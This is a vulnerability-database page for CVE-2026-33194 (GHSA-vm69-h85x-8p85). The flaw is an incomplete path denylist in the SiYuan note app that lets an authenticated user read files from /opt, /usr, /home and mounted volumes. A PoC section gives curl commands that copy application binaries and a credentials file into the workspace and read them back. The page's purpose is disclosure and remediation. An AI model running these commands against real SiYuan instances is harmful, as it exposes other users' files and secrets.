Vulnerability-Lookup

GHSA-VM69-H85X-8P85

Vulnerability from github – Published: 2026-03-18 20:10 – Updated: 2026-03-25 18:12

Summary

SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home (GHSA-h5vh-m7fg-w5h6 Bypass)

Details

Summary

The IsSensitivePath() function in kernel/util/path.go uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including /opt (application data), /usr (local configs/binaries), /home (other users), /mnt and /media (mounted volumes). The globalCopyFiles and importStdMd endpoints rely on IsSensitivePath as their primary defense against reading files outside the workspace.

Details

Current denylist in kernel/util/path.go:391-405:

prefixes := []string{
    "/.",       // dotfiles
    "/etc",     // system config
    "/root",    // root home
    "/var",     // variable data
    "/proc",    // process info
    "/sys",     // sysfs
    "/run",     // runtime data
    "/bin",     // binaries
    "/boot",    // boot files
    "/dev",     // devices
    "/lib",     // libraries
    "/srv",     // service data
    "/tmp",     // temp files
}

NOT blocked: - /opt — commonly contains application data, databases, credentials. In SiYuan Docker, /opt/siyuan/ contains the application itself. - /usr — contains /usr/local/etc, /usr/local/share, custom configs - /home — other users' home directories (only ~/.ssh and ~/.config of the current HomeDir are blocked via separate checks, but other users' homes are accessible) - /mnt, /media — mounted volumes, network shares, often containing secrets - /snap — snap package data - /sbin, /lib64 — system binaries/libraries

The globalCopyFiles endpoint at kernel/api/file.go:82 uses IsSensitivePath as its sole path validation:

if util.IsSensitivePath(absSrc) {
    // reject
    continue
}
// File is copied into workspace — then readable via /api/file/getFile

PoC

# Read SiYuan's own application files from /opt (Docker deployment)
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
  -H 'Authorization: Token YOUR_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"srcs":["/opt/siyuan/kernel/SiYuan-Kernel"],"destDir":"data/assets"}'

# Then read the copied file from workspace
curl -s 'http://127.0.0.1:6806/api/file/getFile' \
  -H 'Authorization: Token YOUR_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"path":"data/assets/SiYuan-Kernel"}'

# Read files from mounted volumes
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
  -H 'Authorization: Token YOUR_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"srcs":["/mnt/secrets/credentials.json"],"destDir":"data/assets"}'

Impact

Read arbitrary files from /opt, /usr, /home, /mnt, /media and any other non-denylisted path
In Docker deployments: read application source code, configs, mounted secrets
The denylist approach is fundamentally flawed — any newly added filesystem path is accessible until explicitly blocked

Recommended Fix

Switch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:

func IsSensitivePath(p string) bool {
    absPath := filepath.Clean(p)

    // Allowlist: only workspace and configured safe directories
    if strings.HasPrefix(absPath, WorkspaceDir) {
        // Block workspace-internal sensitive paths (conf/)
        if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, "conf")) {
            return true
        }
        return false
    }

    // Everything outside workspace is sensitive by default
    return true
}

Severity

6.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.6.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33194"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T20:10:44Z",
    "nvd_published_at": "2026-03-20T23:16:45Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `IsSensitivePath()` function in `kernel/util/path.go` uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including `/opt` (application data), `/usr` (local configs/binaries), `/home` (other users), `/mnt` and `/media` (mounted volumes). The `globalCopyFiles` and `importStdMd` endpoints rely on `IsSensitivePath` as their primary defense against reading files outside the workspace.\n\n## Details\n\nCurrent denylist in `kernel/util/path.go:391-405`:\n\n```go\nprefixes := []string{\n    \"/.\",       // dotfiles\n    \"/etc\",     // system config\n    \"/root\",    // root home\n    \"/var\",     // variable data\n    \"/proc\",    // process info\n    \"/sys\",     // sysfs\n    \"/run\",     // runtime data\n    \"/bin\",     // binaries\n    \"/boot\",    // boot files\n    \"/dev\",     // devices\n    \"/lib\",     // libraries\n    \"/srv\",     // service data\n    \"/tmp\",     // temp files\n}\n```\n\n**NOT blocked:**\n- `/opt` \u2014 commonly contains application data, databases, credentials. In SiYuan Docker, `/opt/siyuan/` contains the application itself.\n- `/usr` \u2014 contains `/usr/local/etc`, `/usr/local/share`, custom configs\n- `/home` \u2014 other users\u0027 home directories (only `~/.ssh` and `~/.config` of the current HomeDir are blocked via separate checks, but other users\u0027 homes are accessible)\n- `/mnt`, `/media` \u2014 mounted volumes, network shares, often containing secrets\n- `/snap` \u2014 snap package data\n- `/sbin`, `/lib64` \u2014 system binaries/libraries\n\nThe `globalCopyFiles` endpoint at `kernel/api/file.go:82` uses `IsSensitivePath` as its sole path validation:\n\n```go\nif util.IsSensitivePath(absSrc) {\n    // reject\n    continue\n}\n// File is copied into workspace \u2014 then readable via /api/file/getFile\n```\n\n## PoC\n\n```bash\n# Read SiYuan\u0027s own application files from /opt (Docker deployment)\ncurl -s \u0027http://127.0.0.1:6806/api/file/globalCopyFiles\u0027 \\\n  -H \u0027Authorization: Token YOUR_API_TOKEN\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"srcs\":[\"/opt/siyuan/kernel/SiYuan-Kernel\"],\"destDir\":\"data/assets\"}\u0027\n\n# Then read the copied file from workspace\ncurl -s \u0027http://127.0.0.1:6806/api/file/getFile\u0027 \\\n  -H \u0027Authorization: Token YOUR_API_TOKEN\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"path\":\"data/assets/SiYuan-Kernel\"}\u0027\n\n# Read files from mounted volumes\ncurl -s \u0027http://127.0.0.1:6806/api/file/globalCopyFiles\u0027 \\\n  -H \u0027Authorization: Token YOUR_API_TOKEN\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"srcs\":[\"/mnt/secrets/credentials.json\"],\"destDir\":\"data/assets\"}\u0027\n```\n\n## Impact\n\n- Read arbitrary files from `/opt`, `/usr`, `/home`, `/mnt`, `/media` and any other non-denylisted path\n- In Docker deployments: read application source code, configs, mounted secrets\n- The denylist approach is fundamentally flawed \u2014 any newly added filesystem path is accessible until explicitly blocked\n\n## Recommended Fix\n\nSwitch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:\n\n```go\nfunc IsSensitivePath(p string) bool {\n    absPath := filepath.Clean(p)\n\n    // Allowlist: only workspace and configured safe directories\n    if strings.HasPrefix(absPath, WorkspaceDir) {\n        // Block workspace-internal sensitive paths (conf/)\n        if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, \"conf\")) {\n            return true\n        }\n        return false\n    }\n\n    // Everything outside workspace is sensitive by default\n    return true\n}\n```",
  "id": "GHSA-vm69-h85x-8p85",
  "modified": "2026-03-25T18:12:17Z",
  "published": "2026-03-18T20:10:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vm69-h85x-8p85"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33194"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home (GHSA-h5vh-m7fg-w5h6 Bypass)"
}

CVE-2026-33194 (GCVE-0-2026-33194)

Vulnerability from cvelistv5 – Published: 2026-03-20 22:30 – Updated: 2026-03-25 13:45

Title

SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home

Summary

SiYuan is a personal knowledge management system. Prior to version 3.6.2, the `IsSensitivePath()` function in `kernel/util/path.go` uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including `/opt` (application data), `/usr` (local configs/binaries), `/home` (other users), `/mnt` and `/media` (mounted volumes). The `globalCopyFiles` and `importStdMd` endpoints rely on `IsSensitivePath` as their primary defense against reading files outside the workspace. Version 3.6.2 contains an updated fix.

Severity

6.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-25 13:45 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Assigner

GitHub_M mitre root Scorecard

References

1 reference

URL	Tags
https://github.com/siyuan-note/siyuan/security/ad…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
siyuan-note	siyuan	Affected: < 3.6.2

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-33194",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-25T13:45:02.884596Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-25T13:45:09.722Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "siyuan",
          "vendor": "siyuan-note",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 3.6.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SiYuan is a personal knowledge management system. Prior to version 3.6.2, the `IsSensitivePath()` function in `kernel/util/path.go` uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including `/opt` (application data), `/usr` (local configs/binaries), `/home` (other users), `/mnt` and `/media` (mounted volumes). The `globalCopyFiles` and `importStdMd` endpoints rely on `IsSensitivePath` as their primary defense against reading files outside the workspace. Version 3.6.2 contains an updated fix."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.8,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "HIGH",
            "scope": "CHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-22",
              "description": "CWE-22: Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-20T22:30:33.141Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vm69-h85x-8p85",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-vm69-h85x-8p85"
        }
      ],
      "source": {
        "advisory": "GHSA-vm69-h85x-8p85",
        "discovery": "UNKNOWN"
      },
      "title": "SiYuan has an Incomplete Fix for IsSensitivePath Denylist Allows File Read from /opt, /usr, /home"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-33194",
    "datePublished": "2026-03-20T22:30:33.141Z",
    "dateReserved": "2026-03-17T22:16:36.721Z",
    "dateUpdated": "2026-03-25T13:45:09.722Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-VM69-H85X-8P85

Summary

Details

PoC

Impact

Recommended Fix

CVE-2026-33194 (GCVE-0-2026-33194)

Tags

Sightings

Nomenclature

Related by attack behaviour